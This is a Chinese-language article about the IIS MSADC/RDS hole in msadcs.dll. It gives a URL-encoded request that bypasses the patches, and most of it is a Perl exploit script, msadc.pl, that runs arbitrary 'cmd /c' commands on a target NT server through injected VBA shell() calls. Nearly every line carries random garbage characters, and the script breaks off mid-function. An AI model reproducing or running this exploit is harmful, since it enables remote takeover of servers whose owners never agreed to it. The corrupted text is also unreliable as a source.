IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
C%/@U[; 7(H?3)%0 涉及程序:
2\F'So Microsoft NT server
@}'?o_/C Hdjp^O! 描述:
upq3)t_ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
\#gguq?[ 2Ic)]6z
R 详细:
_J,*0~O$ 如果你没有时间读详细内容的话,就删除:
{RD9j1 c:\Program Files\Common Files\System\Msadc\msadcs.dll
GZmfE` 有关的安全问题就没有了。
%-|$7?~ <W*6=HZ' 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
*]DO3Zw' JYLAu4s6 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
m,F4N$ 关于利用ODBC远程漏洞的描述,请参看:
uTy00`1
:1~4X http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm =n;LP#(h ? [5GzY`/m 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
?` 2z8uD/ http://www.microsoft.com/security/bulletins/MS99-025faq.asp tNAmA vI(CX]o 这里不再论述。
|w>d]eA5 &7eN
EA 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
2=|Ks]<P UUvR>5@n /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
1([?EfC 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
xk^`4; /5Yl, P 0Q]{r ) #将下面这段保存为txt文件,然后: "perl -x 文件名"
WHRBYq_ 3RI%OCGF #!perl
NQN?CBFQ #
/5?tXH" # MSADC/RDS 'usage' (aka exploit) script
:GM3n$ #
6-\M }xq? # by rain.forest.puppy
?~oc4J*>( #
v5W-f0Jo # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
d\tA1&k71 # beta test and find errors!
c7R6.T &B$%|~Y5 use Socket; use Getopt::Std;
c >xHaA:V getopts("e:vd:h:XR", \%args);
u>V~:q\X ^KQZ;[B print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Kw`}hSE>o z
AY
-Y if (!defined $args{h} && !defined $args{R}) {
jori,"s print qq~
mC'<Ov<eJ Usage: msadc.pl -h <host> { -d <delay> -X -v }
?%b#FXA -h <host> = host you want to scan (ip or domain)
QL-E4] -d <seconds> = delay between calls, default 1 second
>{"E~U -X = dump Index Server path table, if available
&InFC5A -v = verbose
cfHtUv -e = external dictionary file for step 5
pwNF\ ={ ZD<e$PxxCd Or a -R will resume a command session
k
jx<;##R8 AzSmfEaU0 ~; exit;}
2WB`+oWox z#d*Odc $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
t*Z4&Sy^ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
xqv&^,ic if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
j!IkU}*c if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
7_L$ XIa $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
_*wlK;` if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
$]J<^{v sLc,Dx"+ if (!defined $args{R}){ $ret = &has_msadc;
p,3}A(> die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
O*>`md?MH h~ehZJys print "Please type the NT commandline you want to run (cmd /c assumed):\n"
ah#jvp . "cmd /c ";
m=60a@o] $in=<STDIN>; chomp $in;
$,nidK!" $command="cmd /c " . $in ;
$Q= S`z= xN!In-v[j; if (defined $args{R}) {&load; exit;}
{3``B#} 9r 5( print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
bj@f<f` &try_btcustmr;
/Nhc|x6zQ :b,An'H print "\nStep 2: Trying to make our own DSN...";
D=M'g}l &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
(XV+aQ \A B_"PFWwg print "\nStep 3: Trying known DSNs...";
b{.Y?.U &known_dsn;
l=<},_]{ -v9x tNg print "\nStep 4: Trying known .mdbs...";
C-&s$5MzGb &known_mdb;
USKC,&6&} <'~6L#>,< if (defined $args{e}){
*`t3z-L print "\nStep 5: Trying dictionary of DSN names...";
">q?(i\ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
L#N]1#; ,hCbx#h print "Sorry Charley...maybe next time?\n";
A$l exit;
ov1#BeQ +a^0Q
F-7 ##############################################################################
%Ybr5 $_ zT'(I6S:) sub sendraw { # ripped and modded from whisker
D 75;Y;E sleep($delay); # it's a DoS on the server! At least on mine...
oz l>Au my ($pstr)=@_;
.+~9
vH socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
ESuP ZB die("Socket problems\n");
Cjj(v7[E if(connect(S,pack "SnA4x8",2,80,$target)){
-5@hU8B'a select(S); $|=1;
l=47#zbpZ] print $pstr; my @in=<S>;
xj JoWB select(STDOUT); close(S);
SGpe \P ]k return @in;
(Vt5@25JW } else { die("Can't connect...\n"); }}
Us3zvpy)o }S}%4c> ##############################################################################
J!yK/*sO, r|ogF8YN sub make_header { # make the HTTP request
y_T%xWK5 my $msadc=<<EOT
6df`]sc POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
v1 f^gde User-Agent: ACTIVEDATA
hfs QAa Host: $ip
Bd[H@oKru Content-Length: $clen
afjEN
y1 Connection: Keep-Alive
tD]vx`0> aUKa+"`S ADCClientVersion:01.06
T;3B_lu] Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
vyT-!mC y4Nam87;/? --!ADM!ROX!YOUR!WORLD!
)a$sx} Content-Type: application/x-varg
9<5ii Content-Length: $reqlen
>dwY(a `-5gsJ
EOT
aQV? } ; $msadc=~s/\n/\r\n/g;
gKRlXVS return $msadc;}
v5.KCc}" ;s5JYR ##############################################################################
_w7yfZLv+ :* J! sub make_req { # make the RDS request
gY_AO1 my ($switch, $p1, $p2)=@_;
3&B- w my $req=""; my $t1, $t2, $query, $dsn;
v=-T3
n +aOX{1w if ($switch==1){ # this is the btcustmr.mdb query
s_U--y.2r( $query="Select * from Customers where City=" . make_shell();
>eX 9dA3X $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
J?f7!F:8 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
//yz$d>JN 7 M$cIWe$ elsif ($switch==2){ # this is general make table query
Y7 e1%,$v $query="create table AZZ (B int, C varchar(10))";
gVs@T' $dsn="$p1";}
Oo9' l^rQo_alk elsif ($switch==3){ # this is general exploit table query
m|PJwd6 $query="select * from AZZ where C=" . make_shell();
H )Ze{N $dsn="$p1";}
v+'*.Iv: 6e"Lod_ L elsif ($switch==4){ # attempt to hork file info from index server
7~VDk5Z6 $query="select path from scope()";
c=p!2jJ1K~ $dsn="Provider=MSIDXS;";}
HaQox.v% 4 Z&KR<2Z elsif ($switch==5){ # bad query
Y$W)JWMY` $query="select";
p-,Bq!aG$ $dsn="$p1";}
!'a
<Dw5 l_P90zm39! $t1= make_unicode($query);
xn1,
o
MY= $t2= make_unicode($dsn);
F:LrQu $req = "\x02\x00\x03\x00";
BVS
SO's $req.= "\x08\x00" . pack ("S1", length($t1));
+_ny{i`' $req.= "\x00\x00" . $t1 ;
A&X
XL~yH $req.= "\x08\x00" . pack ("S1", length($t2));
]aYuBoj $req.= "\x00\x00" . $t2 ;
.L.9e#?3 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
i>(TPj| return $req;}
?)7UqVyq /?*ut&hwv ##############################################################################
?3<Y/Vg%c i$CF*%+t sub make_shell { # this makes the shell() statement
n_*.i1\'w return "'|shell(\"$command\")|'";}
,?wxW n'!x"O7 ##############################################################################
uS!V_] =D)ADZ\<r sub make_unicode { # quick little function to convert to unicode
'Qg.D88 my ($in)=@_; my $out;
D0h6j0r5 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
hbs /S return $out;}
"_:6v64Gx M%7|7V<o)^ ##############################################################################
IaO*{1re :)%cL8Nz]$ sub rdo_success { # checks for RDO return success (this is kludge)
{8,_[?H my (@in) = @_; my $base=content_start(@in);
NosOd*S if($in[$base]=~/multipart\/mixed/){
lLI%J>b@ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Ti>}To}B5 return 0;}
bl\;*.s' oslj< ##############################################################################
1D%E})B6 3V<c4'O\W sub make_dsn { # this makes a DSN for us
GK#D R/OM my @drives=("c","d","e","f");
l`a_0 print "\nMaking DSN: ";
iDYm4sY foreach $drive (@drives) {
x!u6LDq0 print "$drive: ";
upFe{M@ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
uxL3 8d] "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
=>7czw:S1 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
Ii>#9>!F $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
n;y[%H!g return 0 if $2 eq "404"; # not found/doesn't exist
V>ZDJW"G! if($2 eq "200") {
&=d0'3k> foreach $line (@results) {
"dO>P*k, return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
)mVpJYt; } return 0;}
H*]B7?S Htu}M8/4 ##############################################################################
56
raZC )+ss)LEC sub verify_exists {
.}.63T$h9 my ($page)=@_;
xEfz AJ5& my @results=sendraw("GET $page HTTP/1.0\n\n");
T@ecWRro return $results[0];}
qrtA'fU iHB1/ ##############################################################################
g,N"o72) BbqH02i sub try_btcustmr {
If*t$f>y4N my @drives=("c","d","e","f");
g^dPAjPQ my @dirs=("winnt","winnt35","winnt351","win","windows");
/?,c4K,ap .^%!X!r foreach $dir (@dirs) {
k5%:L2FO print "$dir -> "; # fun status so you can see progress
R} #6 foreach $drive (@drives) {
z`:uvEX0 print "$drive: "; # ditto
9(PQ7} $reqlen=length( make_req(1,$drive,$dir) ) - 28;
)K0BH q7r $reqlenlen=length( "$reqlen" );
UvtSNP&/2d $clen= 206 + $reqlenlen + $reqlen;
rz@;Zn f]F]wg\_f my @results=sendraw(make_header() . make_req(1,$drive,$dir));
_aOisN{ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
0w?\KHT else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
\D8d!gr ;5 W|#{I ##############################################################################
1=C>S2q '\ec ,&4Z sub odbc_error {
Z IfhC' my (@in)=@_; my $base;
Lx&2) my $base = content_start(@in);
mO$]f4} if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
[G{{f $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
"i$Avm $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
GJW>8*&&( $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Cs$wgm* return $in[$base+4].$in[$base+5].$in[$base+6];}
A-:58Qau+ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
)]Xj"V2 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
HpI[Af}l $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
.{as"h-.O <_&H<]t%rI ##############################################################################
:Mr _/t2( r=[T5,L(s sub verbose {
r
(Ab+1b my ($in)=@_;
`"J=\3-> return if !$verbose;
Kx.I'_Qk print STDOUT "\n$in\n";}
l;$HGoJ O:'UsI1Y ##############################################################################
ON~jt[ g1-^@&q sub save {
;RNU`Ip my ($p1, $p2, $p3, $p4)=@_;
|- 39ZZOX open(OUT, ">rds.save") || print "Problem saving parameters...\n";
L2Ynv4llm print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
- 7)%J+5 close OUT;}
?<c)r~9] E[bJ5o**# ##############################################################################
Afi;s., C*kGB(H7 sub load {
*9((X,v@/ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Uu xbN-u open(IN,"<rds.save") || die("Couldn't open rds.save\n");
4 f/2gI1@B @p=<IN>; close(IN);
Eh\0gQ= $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
/Y("Q#Ueq $target= inet_aton($ip) || die("inet_aton problems");
dD@k{5 print "Resuming to $ip ...";
VA*~RS $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
:eqDEmr> if($p[1]==1) {
}MAvEaUd
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
!|K~)4%rj $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
t b5k| my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
mB&nN+MV if (rdo_success(@results)){print "Success!\n";}
rjfcZ@ else { print "failed\n"; verbose(odbc_error(@results));}}
Oz{.>Pjn^o elsif ($p[1]==3){
$PA=7`\MP/ if(run_query("$p[3]")){
z6e)|*cA$ print "Success!\n";} else { print "failed\n"; }}
'6Dt@^-PZ elsif ($p[1]==4){
')%Kv`hz if(run_query($drvst . "$p[3]")){
&